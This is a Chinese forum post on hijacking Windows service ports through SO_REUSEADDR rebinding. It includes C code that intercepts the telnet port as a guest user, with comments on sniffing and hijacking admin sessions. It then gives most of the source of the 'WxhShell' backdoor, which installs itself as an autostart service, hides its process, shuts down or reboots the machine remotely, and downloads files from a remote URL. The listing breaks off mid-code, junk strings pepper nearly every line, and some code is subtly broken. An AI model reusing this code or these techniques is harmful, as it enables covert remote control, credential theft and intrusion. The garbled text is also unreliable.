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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dZS v=UY)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n/>^!S  
a{oG[e   
  saddr.sin_family = AF_INET; 38I.1p9  
,};UD  W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h3}gg@Fm  
U$-;^=;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yA74Rxl*6  
9GH11B_A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G-5 4D_ 4  
f{m,?[1C,  
  这意味着什么?意味着可以进行如下的攻击: x/Nh9hh"  
]HpKDb0+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HAkEJgV  
C`p)S`d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BtPUUy.  
7q%<JZPY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !uoQLiH+  
zvzS$Gpe  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R]s\s[B  
E{Gkq:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 # p?7{"Ep  
qUZm6)p6[a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v,=[!=8!  
UUE:>[,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c^4^z"Mo`  
k^x[(gw  
  #include R F)Qsa  
  #include s>pOfXIx  
  #include ,3m]jp'  
  #include    ??4#)n k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   LjE@[@d  
  int main() PT`];C(he  
  { X^2Txm d  
  WORD wVersionRequested; 47GL[ofY  
  DWORD ret; {~Q9jg(A  
  WSADATA wsaData; KGVAP  
  BOOL val; iyj,0T  
  SOCKADDR_IN saddr; ?Re6oLm<B  
  SOCKADDR_IN scaddr; J ejDF*Q  
  int err; xK8n~.T('  
  SOCKET s; *{ =5AW}o  
  SOCKET sc; 2jMV6S9  
  int caddsize; UG]]Vk1d]  
  HANDLE mt; |=dmxfj@  
  DWORD tid;   .e^AS~4pl  
  wVersionRequested = MAKEWORD( 2, 2 ); HQpw2bdy  
  err = WSAStartup( wVersionRequested, &wsaData ); x_C#ALq9  
  if ( err != 0 ) { )]\?Yyg]  
  printf("error!WSAStartup failed!\n"); V_>)m3zsL  
  return -1; 3@d{C^\  
  } \Mi] !b|8  
  saddr.sin_family = AF_INET; qtqTLl@u  
   )_MIUQ%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NI@$"   
,>:   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BW`)q/  
  saddr.sin_port = htons(23); yq?7!X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Oq7R^t`b  
  { GaD]qeS-K  
  printf("error!socket failed!\n"); `u./2]n  
  return -1; jK!Y-  
  } B/iRR2h  
  val = TRUE; j-?zB .jAh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 x/7d!>#;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FXAP]iqo  
  { &ye,A(4  
  printf("error!setsockopt failed!\n"); 7]i=eD8  
  return -1; dzK]F/L]  
  } ?r`UBR+[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {3jV ,S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sRM3G]nUr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l7.W2mg  
Eyv|~D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x[ sSM:  
  { E(0(q#n  
  ret=GetLastError(); Z[(V0/[]  
  printf("error!bind failed!\n"); kpe7\nd=>  
  return -1; $IuN(#  
  } |k # ~  
  listen(s,2); oX2J2O  
  while(1) FY^#%0~  
  { |5ifgSZ  
  caddsize = sizeof(scaddr); k Xs&k8  
  //接受连接请求 uv:DO6 {  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JOR ? xCc  
  if(sc!=INVALID_SOCKET) c]pO'6]  
  { BFCF+hU^6R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _?5$ST@5  
  if(mt==NULL) %(EUZu2  
  { vPVA^UPNV  
  printf("Thread Creat Failed!\n"); ;w^-3 U7:  
  break; @IB+@RmL  
  } v4:g*MD?~  
  } U?MKZL7  
  CloseHandle(mt); \Oku<5  
  } ]^>#?yEA3  
  closesocket(s); 33R_JM{  
  WSACleanup(); /,>@+^1  
  return 0; ~-"<)XPe  
  }   >=|;2*9v  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?z:Xdx\l  
  { jslfq@5v  
  SOCKET ss = (SOCKET)lpParam; -nC 5  
  SOCKET sc; Qx_K)  
  unsigned char buf[4096]; pB3dx#l  
  SOCKADDR_IN saddr; o9tvf|+z  
  long num; -rEg(@S %  
  DWORD val; K?y!zy  
  DWORD ret; wbC'SOM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )u. ut8![T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [7QIpt+FSo  
  saddr.sin_family = AF_INET; M5SAlj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &"90pBGK  
  saddr.sin_port = htons(23); W6Os|z9&|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G8JwY\  
  { }F*u 9E  
  printf("error!socket failed!\n"); '' @upZBJ  
  return -1; oEqt7l[I{  
  } [5v[Zqud  
  val = 100; { .z6J)?J2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =Yxu {]G  
  { R!v ?d2  
  ret = GetLastError(); -&#H@Gyw  
  return -1; #-QQ_  
  } bS0z\!1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l_G&#sQ0  
  { b,?@_*qv+  
  ret = GetLastError(); hBSci|*f  
  return -1; u}Q@u!~e9  
  } K1P3 FfG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .K`^n\T t  
  { 'qosw:P  
  printf("error!socket connect failed!\n"); =uZOpeviQ  
  closesocket(sc); 9w-V +Nf  
  closesocket(ss); J,8Wo6  
  return -1; $X.X_  
  } EW* 's(  
  while(1) p'2ZDd =v  
  { l!B)1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :Sh>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ha~g8R&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qlT'gUt=H  
  num = recv(ss,buf,4096,0); Ax#$z  
  if(num>0) Wr\rruH6  
  send(sc,buf,num,0); DqLZc01>  
  else if(num==0) :v_H;UU  
  break; %8?s3^ o  
  num = recv(sc,buf,4096,0); e3+'m  
  if(num>0) ZaCUc Px  
  send(ss,buf,num,0); *):xK;o  
  else if(num==0) cuJ%;q=;  
  break; P'prp=JD  
  } 4= VAJ  
  closesocket(ss); Pkr0| bs*  
  closesocket(sc); 1|za>N6[yu  
  return 0 ; WQ\H 2go  
  } DR."C+  
Kn]c4h}@b5  
-U6" Ce  
========================================================== 4{d`-reHg  
*wml 4lh  
下边附上一个代码,,WXhSHELL (6C%w)8'  
FFTh}>>  
========================================================== !aSu;Ln  
ub |tX 'o  
#include "stdafx.h" MZt~ Abt  
8:j8>K*6  
#include <stdio.h> u S$:J:Drx  
#include <string.h> MIcF "fB![  
#include <windows.h> e1e2Wk  
#include <winsock2.h> wv 7j ES  
#include <winsvc.h> 3>[_2}l  
#include <urlmon.h> Z4\$h1tl  
v{ F/Bifo  
#pragma comment (lib, "Ws2_32.lib") d7xd"  
#pragma comment (lib, "urlmon.lib") +LwE=unS  
qg;[~JZYKi  
#define MAX_USER   100 // 最大客户端连接数 */B-%*#I.  
#define BUF_SOCK   200 // sock buffer 8^3Z]=(Q  
#define KEY_BUFF   255 // 输入 buffer mWUo:(U  
zt1Pu /e  
#define REBOOT     0   // 重启 I("J$  
#define SHUTDOWN   1   // 关机 .\0PyV(  
qDqgU  
#define DEF_PORT   5000 // 监听端口 `>@n6>f  
^L&hwXAO:  
#define REG_LEN     16   // 注册表键长度 Y4PB&pZ$O2  
#define SVC_LEN     80   // NT服务名长度 iJg3`1@j  
%N!2 _uk5  
// 从dll定义API wo;`D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @u./VK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d%$'Y|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y'NQt?h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Sm2 |I6  
gA e*kf1  
// wxhshell配置信息 Xa._  
struct WSCFG { o0:[,ock  
  int ws_port;         // 监听端口 &H!#jh\w  
  char ws_passstr[REG_LEN]; // 口令 \JBJ$lBL  
  int ws_autoins;       // 安装标记, 1=yes 0=no Hu .e@7  
  char ws_regname[REG_LEN]; // 注册表键名 /J8'mCuC.  
  char ws_svcname[REG_LEN]; // 服务名 4Fr0/="H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &e\A v.n@-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $7{V+>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |V2+4b,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &lYZ=|6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~Co7%e V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g;U f?  
L0{ehpvM  
}; B]K@'#  
b??k|q  
// default Wxhshell configuration ;C8'7  
struct WSCFG wscfg={DEF_PORT, &xF 2!t`  
    "xuhuanlingzhe", dU]>  
    1, gt3;Xi  
    "Wxhshell", 7d0E9t;W  
    "Wxhshell", Zy2@1-z6  
            "WxhShell Service", Dm': D  
    "Wrsky Windows CmdShell Service", SSANt?\Z<  
    "Please Input Your Password: ", g)+45w*+5  
  1, |Ew\Tgo/2  
  "http://www.wrsky.com/wxhshell.exe", }hOExTz  
  "Wxhshell.exe" O>^0}  
    }; _zQ3sm  
YShtoaCx>  
// 消息定义模块 6a G/=fq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _DChNX   
char *msg_ws_prompt="\n\r? for help\n\r#>"; iP1u u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ws[[Me, =  
char *msg_ws_ext="\n\rExit."; p<*\f  
char *msg_ws_end="\n\rQuit."; jV^Dj  
char *msg_ws_boot="\n\rReboot..."; %?lPS  
char *msg_ws_poff="\n\rShutdown..."; irNGURLm  
char *msg_ws_down="\n\rSave to "; s}Q%]W  
Za{sT&(|  
char *msg_ws_err="\n\rErr!"; ,4 ftQJ  
char *msg_ws_ok="\n\rOK!"; %=J<WA6\  
hS4Ljyeg  
char ExeFile[MAX_PATH]; +%%FT#ce  
int nUser = 0; NQ$tQ#chd  
HANDLE handles[MAX_USER]; Pm]6E[zC  
int OsIsNt; ^'DrU< o  
24 S,w>j  
SERVICE_STATUS       serviceStatus; 6Cut[*lj^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I(r^q"  
7kM_Ijd$  
// 函数声明 d;KrV=%30s  
int Install(void); )B@veso{  
int Uninstall(void); rvRtR/*?j  
int DownloadFile(char *sURL, SOCKET wsh); 372ewh3'  
int Boot(int flag); #`5 M( o  
void HideProc(void); \[&~.B  
int GetOsVer(void); ,[IN9W  
int Wxhshell(SOCKET wsl); SE+K"faKQ  
void TalkWithClient(void *cs); e.eQZ5n~q`  
int CmdShell(SOCKET sock); yKEE @@}\  
int StartFromService(void); 0(VQwGC[  
int StartWxhshell(LPSTR lpCmdLine); *7hr3x  
UA3%I8gu_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zg%SE'kK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IEV3(qzt  
4.bL>Y>c  
// 数据结构和表定义 kWL\JDZ`.  
SERVICE_TABLE_ENTRY DispatchTable[] = =V:rO;qX+@  
{ 5Bw  
{wscfg.ws_svcname, NTServiceMain}, (6p 5 Fo  
{NULL, NULL} XA{ tVh  
}; hQrO8T?2  
K"1xtpy  
// 自我安装 5EDM?G  
int Install(void) &#Sg1$/+  
{ .L%_#A  
  char svExeFile[MAX_PATH]; ^ MkT">  
  HKEY key; 6.|f iQs ]  
  strcpy(svExeFile,ExeFile); vyT$IdV2  
$~4ZuV%  
// 如果是win9x系统,修改注册表设为自启动 Nko;I?Fn  
if(!OsIsNt) { 8}m] XO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZWW:-3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y'kD_T`f,  
  RegCloseKey(key); + oyW_!(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [vpZ3;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @AL,@P/9=  
  RegCloseKey(key); li\hHd5  
  return 0; V 0R;q  
    } 6sl*Ko[  
  } =vBxwa^  
} Kd CPt!  
else { SE{$a3`UzP  
94"R&|  
// 如果是NT以上系统,安装为系统服务 pU)wxv[~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eFvw9B+  
if (schSCManager!=0) 2a2C z'G  
{ LjjE(Yrv{  
  SC_HANDLE schService = CreateService >L?)f3_a  
  ( *""'v   
  schSCManager, Y+ P\5G  
  wscfg.ws_svcname, I'G$:GX  
  wscfg.ws_svcdisp, AEm?g$a  
  SERVICE_ALL_ACCESS, ;5-Sn(G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S'vi +_  
  SERVICE_AUTO_START, nn$,|/  
  SERVICE_ERROR_NORMAL, D %~s  
  svExeFile, ^r73(8{)  
  NULL, vWI9ocl`W  
  NULL, 9}t2OJS*h"  
  NULL, 3.B|uN  
  NULL, z= vfP%  
  NULL mKynp  
  ); +](^gaDw<L  
  if (schService!=0) ~h?zK 1  
  { ,6,#Lc  
  CloseServiceHandle(schService); 6Km@A M]  
  CloseServiceHandle(schSCManager); G_=`&i"4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E N%cjvE  
  strcat(svExeFile,wscfg.ws_svcname); 1p>5ZkHb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  {[o=df/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xlkEW&N&  
  RegCloseKey(key); ^ _KHw  
  return 0; <9YRSE [Ed  
    } 3t[2Bd  
  } f&B&!&gZ  
  CloseServiceHandle(schSCManager); VWd=7  
} r8+{HknB;  
} ~j",ePl  
v"6q!  
return 1; ^,'!j/w5  
} '~%1p_0dq  
2J9_(w  
// 自我卸载 'x lK_Z  
int Uninstall(void) ?n>h/[/  
{ 8$-(%  
  HKEY key; 828E^Q"<  
8.Wf^j$+{  
if(!OsIsNt) { YmFJlMK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }'a}s0h  
  RegDeleteValue(key,wscfg.ws_regname); Gr&5 mniu  
  RegCloseKey(key); eiI}:5~ /g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #A@*k}/+  
  RegDeleteValue(key,wscfg.ws_regname); "n:z("Q*  
  RegCloseKey(key); >}GtmnF  
  return 0; vL{sk|2&  
  } wgpu]ooUF&  
} QM`A74j0]\  
} Ki{&,:@  
else { Uaog_@2n,  
5Y)*-JY1g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6;9SU+/  
if (schSCManager!=0) Xa\{WM==;  
{ IIUoB!`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7qq}wR]]  
  if (schService!=0) 0RN]_z$;H  
  { z%(m:/N70  
  if(DeleteService(schService)!=0) { 1XU sr;Wz  
  CloseServiceHandle(schService); 0sto9n3  
  CloseServiceHandle(schSCManager); _a"5[sG  
  return 0; Vq2d+ ,fb  
  } 6:i{_YX(.S  
  CloseServiceHandle(schService); ?kX$Y{M}  
  } ]6Kx0mW  
  CloseServiceHandle(schSCManager); +rfw)c'  
} a,x-akZWf  
} F]@vmzr  
_5EM<Ux  
return 1; W'eF | hu  
} %fnL  
6%~ Z^>`N  
// 从指定url下载文件 (e S4$$g  
int DownloadFile(char *sURL, SOCKET wsh) v1<3y~'f  
{ M%5qx,JQY  
  HRESULT hr; nAG2!2_8  
char seps[]= "/"; Zsc710_  
char *token; ( e6JI]tz{  
char *file; TZTi:\nS  
char myURL[MAX_PATH]; i[sHPEml(5  
char myFILE[MAX_PATH]; xCz(qR  
_@;t^j+l  
strcpy(myURL,sURL); K[PH#dF5,x  
  token=strtok(myURL,seps); UUc{1"z{  
  while(token!=NULL) R$k4}p  
  { _Je<_pl!D  
    file=token; BSYJ2   
  token=strtok(NULL,seps); &eKnLGKD  
  } _so\h.lt  
w2_$>z  
GetCurrentDirectory(MAX_PATH,myFILE); ~cQ./G4  
strcat(myFILE, "\\"); FM$XMD0=  
strcat(myFILE, file); x;dyF_*;  
  send(wsh,myFILE,strlen(myFILE),0); ?8X;F"Ba  
send(wsh,"...",3,0); NK;%c-r0v7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W0J d2*]  
  if(hr==S_OK) XdjM/hB{fD  
return 0; Md mS  
else {.qeVE{  
return 1; G?)NDRM  
n*{aN}auJ  
} ?j9J6=2  
'!^5GSP3&  
// 系统电源模块 @(M-ZO!D  
int Boot(int flag) cw|3W]  
{ {z> fe }  
  HANDLE hToken; S#_g/3w  
  TOKEN_PRIVILEGES tkp; 4<[,"<G~3  
?-%Q[W  
  if(OsIsNt) { ~x^E kE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2kb<;Eh`G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E j`  
    tkp.PrivilegeCount = 1; o|O730"2F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #{KYsDtvx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |fqYMhA U  
if(flag==REBOOT) { /5 yjON{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &u&+:m  
  return 0; 0=O(+ yi  
} wd*8w$\  
else { +A%|.;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) + 2 v6fan  
  return 0; p)v|t/7  
} pW$ZcnU  
  } ?_)b[-N!  
  else { V,:^@ 7d  
if(flag==REBOOT) { Tq{+9+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dZ}gf}.v  
  return 0; `Cq&;-u  
} g<U\7Vp\1  
else { NU[{ANbl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '/M9V{DD88  
  return 0; Wd "<u2  
} :0N} K}  
} VZuluV  
!*Ex}K99  
return 1; (:Di/{i&r5  
} 4A0 ,N8ja}  
San3^uX  
// win9x进程隐藏模块 QL/I/EgqC  
void HideProc(void) %d?.v_Hu0  
{ S;@nPzhc  
#C^)W/dP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X<G"Ga L  
  if ( hKernel != NULL ) `|kW%L4  
  { r{\c. \  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J]G] <)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I<E~=  
    FreeLibrary(hKernel); ;IyA"C(i  
  } N)yCGo  
(~S=DFsP  
return; zI-]K,!  
} >_XC  
F(h jP  
// 获取操作系统版本 (4]M7b[S$  
int GetOsVer(void) :Kq]b@ X  
{ 9r2l~zE  
  OSVERSIONINFO winfo; .cks ){\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Iu" 7  
  GetVersionEx(&winfo); #BtJo:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ri.}G  
  return 1; phCItN;  
  else aF8'^xF  
  return 0; xhcFZTj/(  
} _43'W{%  
lV%oIf[OB  
// 客户端句柄模块 pW&K=,7|  
int Wxhshell(SOCKET wsl) qAI %6d  
{ T'6MAxEZUq  
  SOCKET wsh; zTBf.A;e7  
  struct sockaddr_in client; f4'WT  
  DWORD myID; &|9K~#LVS  
e|-&h `[  
  while(nUser<MAX_USER) 3uXRS,C  
{ Nyx)&T&I  
  int nSize=sizeof(client); *jQ?(Tf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (>.l kR  
  if(wsh==INVALID_SOCKET) return 1; z] +&kNm  
x-nO; L-2p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^cDHC^Wm  
if(handles[nUser]==0) j_3`J8WwF  
  closesocket(wsh); gN@|lHbU  
else IL>VH`D  
  nUser++; B,S~Idr}  
  } bZ 0{wpeK=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C))x#P36  
-UB XWl  
  return 0; ;cEoc(<?  
} ;F_pF+&q  
=\`iC6xP}  
// 关闭 socket /@w w"dmqU  
void CloseIt(SOCKET wsh) y5{Vx{V"Q  
{ m?O~(6k@C  
closesocket(wsh); J?C#'2 /   
nUser--; n58yR -"  
ExitThread(0); fI v?HD:j  
} !!k^M"e2  
8bJj3vr  
// 客户端请求句柄 % * k`z#b  
void TalkWithClient(void *cs) H\fsyxM7  
{ +'|nsIx,  
Sx8RH),k  
  SOCKET wsh=(SOCKET)cs; @{>0v"@  
  char pwd[SVC_LEN]; pC~ M5(F_  
  char cmd[KEY_BUFF]; 5>6:#.f%!e  
char chr[1]; : X}n[K  
int i,j; 9Iu"DOxX%  
.H@b zm  
  while (nUser < MAX_USER) { Cs4ks`Z18  
~^TH5n  
if(wscfg.ws_passstr) { R53^3"q~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ({3Ap{Q}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1/f{1k  
  //ZeroMemory(pwd,KEY_BUFF); lqTc6@:D  
      i=0; r2*8.j51  
  while(i<SVC_LEN) { \,xa_zeO  
H+{@V B  
  // 设置超时 hd*GDjmRQ/  
  fd_set FdRead; t6uYFxE  
  struct timeval TimeOut; ds2%i  
  FD_ZERO(&FdRead); >PzZt8e  
  FD_SET(wsh,&FdRead);  PI.Zd1r  
  TimeOut.tv_sec=8; M5a&eO  
  TimeOut.tv_usec=0; @O`T|7v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uUiS:Tp]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |}?H$d  
!bCSt?}@u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j{j5TvsrY  
  pwd=chr[0]; G?v!Uv8O  
  if(chr[0]==0xd || chr[0]==0xa) { .07"I7  
  pwd=0; Aydpr_lp  
  break; bcq&yL'D  
  } 7YxVtN  
  i++; 8_VGB0~3i  
    } '&+]85_&$  
x2sKj"2?@  
  // 如果是非法用户,关闭 socket PJ)l{c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ur.krsU  
} 78\j  
+[R^ ?~VK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;X^#$*=Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OxPl0-]t  
&) 64:l&  
while(1) { &:&~[4>%a  
,5V6=pr$  
  ZeroMemory(cmd,KEY_BUFF); %AN,cE*  
L+S)hgUH  
      // 自动支持客户端 telnet标准   ,k_"T.w  
  j=0; q_6fr$-Qh  
  while(j<KEY_BUFF) { Z($i+L%.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nE +H)%p  
  cmd[j]=chr[0]; X}xf_3N "  
  if(chr[0]==0xa || chr[0]==0xd) { 0 *;i]owV  
  cmd[j]=0; {cUGksz]}  
  break; oI!"F=?&6  
  } x`c 7*q%  
  j++; 1tq ^W'  
    } eR,/} g\  
dl"=ZI '^  
  // 下载文件 0hhxTOp  
  if(strstr(cmd,"http://")) { \WBO(,]V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >|z:CX$]  
  if(DownloadFile(cmd,wsh)) tz8 fZ*n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8k3y"239t  
  else Wsgp#W+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qw$9i.Z  
  } ]ag{sU@#  
  else { Q5}XD  
s1E 0atT  
    switch(cmd[0]) { tfe]=_U  
  0%Le*C'yk  
  // 帮助 c~4Cpy^  
  case '?': { (3K3)0fy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &l0K~7)b  
    break; _|4R^*/ 4  
  } /@|iI<|  
  // 安装 UWnF2,<s;  
  case 'i': { /7])]vZ_  
    if(Install()) Ka6u*:/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I`(53LCqo  
    else `Th~r&GvF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O PzudO  
    break; 4D2U,Ds  
    } OX'V  
  // 卸载 Y6&v&dA;  
  case 'r': { 'YB[4Q /0  
    if(Uninstall()) ?Wz2J3A.2t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2GORGS%  
    else (c)=Do=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8HFCmY#  
    break; ?_FL 'G  
    } V'e%%&g~N  
  // 显示 wxhshell 所在路径 Q 8Hl7__^  
  case 'p': { PDPK|FU  
    char svExeFile[MAX_PATH]; P))BS  
    strcpy(svExeFile,"\n\r"); p5$}h,7  
      strcat(svExeFile,ExeFile); [.^ol6  
        send(wsh,svExeFile,strlen(svExeFile),0); &9^4- 5]  
    break; +WAkBE/  
    } @"` }%-b  
  // 重启 c+&Kq.~K  
  case 'b': { ?$K-f:?c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V]; i$  
    if(Boot(REBOOT)) }2@Z{5sh)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |,@D <  
    else { MOK}:^bSu  
    closesocket(wsh); O-HS)g$2  
    ExitThread(0); &BLCP d  
    } }3A~ek#*~  
    break; y~\ujp_5w  
    } qF4tjza;k  
  // 关机 "d:rPJT)(@  
  case 'd': { W03mdRW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'KIT^k0"Ih  
